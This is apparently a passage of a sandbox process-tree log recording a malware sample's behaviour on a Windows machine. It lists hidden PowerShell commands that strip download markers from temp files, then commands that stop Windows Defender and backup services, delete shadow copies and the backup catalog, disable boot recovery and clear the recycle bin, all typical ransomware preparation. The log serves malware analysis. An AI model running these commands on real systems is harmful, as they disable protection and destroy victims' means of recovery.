    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\aria-debug-6984.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\aria-debug-6984.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\cv_debug.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\cv_debug.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI7991.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI7991.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI79BC.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI79BC.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI7991.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI7991.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI79BC.txt:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:1848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI79BC.txt'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\e50d472d-baf4-4ed9-bef4-7e1bbbb13641.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\e50d472d-baf4-4ed9-bef4-7e1bbbb13641.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\f463765e-8da7-40bc-b330-ba3e6fdf4151.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:4644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\f463765e-8da7-40bc-b330-ba3e6fdf4151.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:5752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\jawshtml.html:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4816
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\jawshtml.html'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\jusched.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\jusched.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\mapping.csv:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\mapping.csv'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:5912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\msedge_installer.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\msedge_installer.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\scoped_dir5352_871648254:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\scoped_dir5352_871648254'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wct49A8.tmp:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:3360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wct49A8.tmp'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\wmsetup.log:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\wmsetup.log'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{0B6E80BB-5476-49C5-AD02-03DB9089BADA} - OProcSessId.dat:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{0B6E80BB-5476-49C5-AD02-03DB9089BADA} - OProcSessId.dat'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{B06FB0D8-0CC5-4CE4-9A13-EA92B2D083DD} - OProcSessId.dat:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:4732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{B06FB0D8-0CC5-4CE4-9A13-EA92B2D083DD} - OProcSessId.dat'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{C79AF00D-15A1-4606-8676-0BD67A61DAD7}:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{C79AF00D-15A1-4606-8676-0BD67A61DAD7}'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  PID:5912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{EF2C5B3C-2879-48E6-8973-9C14199144B2}:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  PID:4256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{EF2C5B3C-2879-48E6-8973-9C14199144B2}'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\{F7371DA1-494F-44E8-AAA3-334FBC3436E4} - OProcSessId.dat:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\{F7371DA1-494F-44E8-AAA3-334FBC3436E4} - OProcSessId.dat'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\~DFD87B8AA10E8059BC.TMP:Zone.Identifier' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "$p='C:\Users\Admin\AppData\Local\Temp\~DFD87B8AA10E8059BC.TMP'; if(Test-Path -LiteralPath $p){ Get-Item -LiteralPath $p -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' } | ForEach-Object { Remove-Item -LiteralPath ($p+':' + $_.Stream) -Force -ErrorAction SilentlyContinue } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4292
- C:\Windows\system32\net.exe
  net stop VSS /y
  2⤵
  PID:2720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSS /y
    3⤵
    PID:1320
- C:\Windows\system32\sc.exe
  sc stop VSS
  2⤵
  - Launches sc.exe
  PID:4808
- C:\Windows\system32\net.exe
  net stop swprv /y
  2⤵
  PID:2792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swprv /y
    3⤵
    PID:2668
- C:\Windows\system32\sc.exe
  sc stop swprv
  2⤵
  - Launches sc.exe
  PID:2468
- C:\Windows\system32\net.exe
  net stop SQLWriter /y
  2⤵
  PID:5372
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLWriter /y
    3⤵
    PID:2888
- C:\Windows\system32\sc.exe
  sc stop SQLWriter
  2⤵
  - Launches sc.exe
  PID:2996
- C:\Windows\system32\net.exe
  net stop WinDefend /y
  2⤵
  PID:1384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend /y
    3⤵
    PID:3320
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4224
- C:\Windows\system32\net.exe
  net stop WdNisSvc /y
  2⤵
  PID:4428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WdNisSvc /y
    3⤵
    PID:5984
- C:\Windows\system32\sc.exe
  sc stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:4532
- C:\Windows\system32\net.exe
  net stop SecurityHealthService /y
  2⤵
  PID:2856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SecurityHealthService /y
    3⤵
    PID:4080
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4228
- C:\Windows\system32\net.exe
  net stop Sense /y
  2⤵
  PID:5588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Sense /y
    3⤵
    PID:1716
- C:\Windows\system32\sc.exe
  sc stop Sense
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\system32\net.exe
  net stop wscsvc /y
  2⤵
  PID:1236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wscsvc /y
    3⤵
    PID:5716
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5576
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6004
- C:\Windows\System32\Wbem\wmic.exe
  wmic shadowcopy delete
  2⤵
  PID:4468
- C:\Windows\system32\vssadmin.exe
  vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:5280
- C:\Windows\system32\vssadmin.exe
  vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2688
- C:\Windows\system32\wbadmin.exe
  wbadmin delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:5828
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1756
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -C "Clear-RecycleBin -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4636
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4876
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:240
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5204
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3724
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5540
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1144
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4680
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3704
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4288
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3392
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1436
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1744
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2892
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1476
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4848
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:316
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4088
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4964
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:2436
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2836
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5608
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1192
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1392
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3784
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5580
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:5408
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4160
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:1360
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3520
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1092
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:1072
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  - Modifies registry key
  PID:4764
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5128
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5016
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4484
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5472
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4900
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:2064
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:3284
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:4332
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
  PID:5376
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
  2⤵
